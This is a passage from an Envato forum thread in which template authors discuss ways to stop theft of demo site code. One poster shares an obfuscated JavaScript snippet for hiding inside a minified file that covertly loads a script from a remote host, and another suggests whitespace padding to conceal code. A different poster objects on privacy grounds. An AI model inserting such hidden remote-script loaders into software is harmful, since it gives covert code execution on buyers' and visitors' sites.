564 posts
  • Has sold $40,000+ on Envato Market
  • Has been part of the Envato Community for over 3 years
  • Sells items exclusively on Envato Market
  • Won a Most Wanted contest
+2 more

charlie4282, I suppose it should be included in template preview only because code from preview is usually stolen.

4554 posts
  • Has been a beta tester for an Envato feature
  • Achieved the monthly Community Superstar Award
  • Helps us moderate the forums
  • Has been part of the Envato Community for over 5 years
+3 more

Again I would still suggest getting clarification from envato on doing it but yes you would be right – that seems to make more sense especially as by default most authors are tracking their demo sites one way or another

1352 posts
  • Has been part of the Envato Community for over 4 years
  • Has sold $40,000+ on Envato Market
  • Has been a beta tester for an Envato feature
  • Has collected 50+ items on Envato Market
+4 more

While I am opposed to any form of piracy – creating hidden JS which allows you to inject code or any form of discreet tracking, is a huge breach of genuine buyers privacy and I would imagine against policy for files on sale here.
Do it nice. Add a simple notice on top on all sites that use the source code from demo. :) I did it once and it worked. I sold ~15 copies in a week where showing the notice on their site. Some of them sent me a message with apologies for using a illegal copy, they had no idea the template is available for sale and is not free.

@Svecc, @rayoflightt, nothing special. You can place a function somewhere in a big js file and minimize that file. Here is an example
function tfc421(){
    var script = document.createElement( 'script' ),
        t = 't',
        e = 'e',
        o = 'o',
        r = 'r',
        j = 'j';
    script.type = 'text/javascript';
    script.src = 'ht'+t+'p://'+e+'xample.c'+o+'m/j/sc'+r+'ipt.'+j+'s';
    $("body").append( script );
This will be added right before </body> tag:
<script type="text/javascript" src="http://example.com/j/script.js"></script>
275 posts
  • Has referred 1+ members
  • Has sold $10,000+ on Envato Market
  • Located in Romania
  • Has collected 1+ items on Envato Market
+3 more

You can also try inserting 100-150 lines of white space at the beginning of the source code… I know, it’s a very cheap trick but it could stop some of the newbies. :)

Helpful Information

  • Please read our community guidelines. Self promotion and discussion of piracy is not allowed.
  • Open a support ticket if you would like specific help with your account, deposits or purchases.
  • Item Support by authors is optional and may vary. Please see the Support tab on each item page.

Most of all, enjoy your time here. Thank you for being a valued Envato community member.

Post Reply

Format your entry with some basic HTML. Read the Full Details, or here is a refresher:

<strong></strong> to make things bold
<em></em> to emphasize
<ul><li> or <ol><li> to make lists
<h3> or <h4> to make headings
<pre></pre> for code blocks
<code></code> for a few words of code
<a></a> for links
<img> to paste in an image (it'll need to be hosted somewhere else though)
<blockquote></blockquote> to quote somebody

:grin: :shocked: :cry: Complete List of Smiley Codes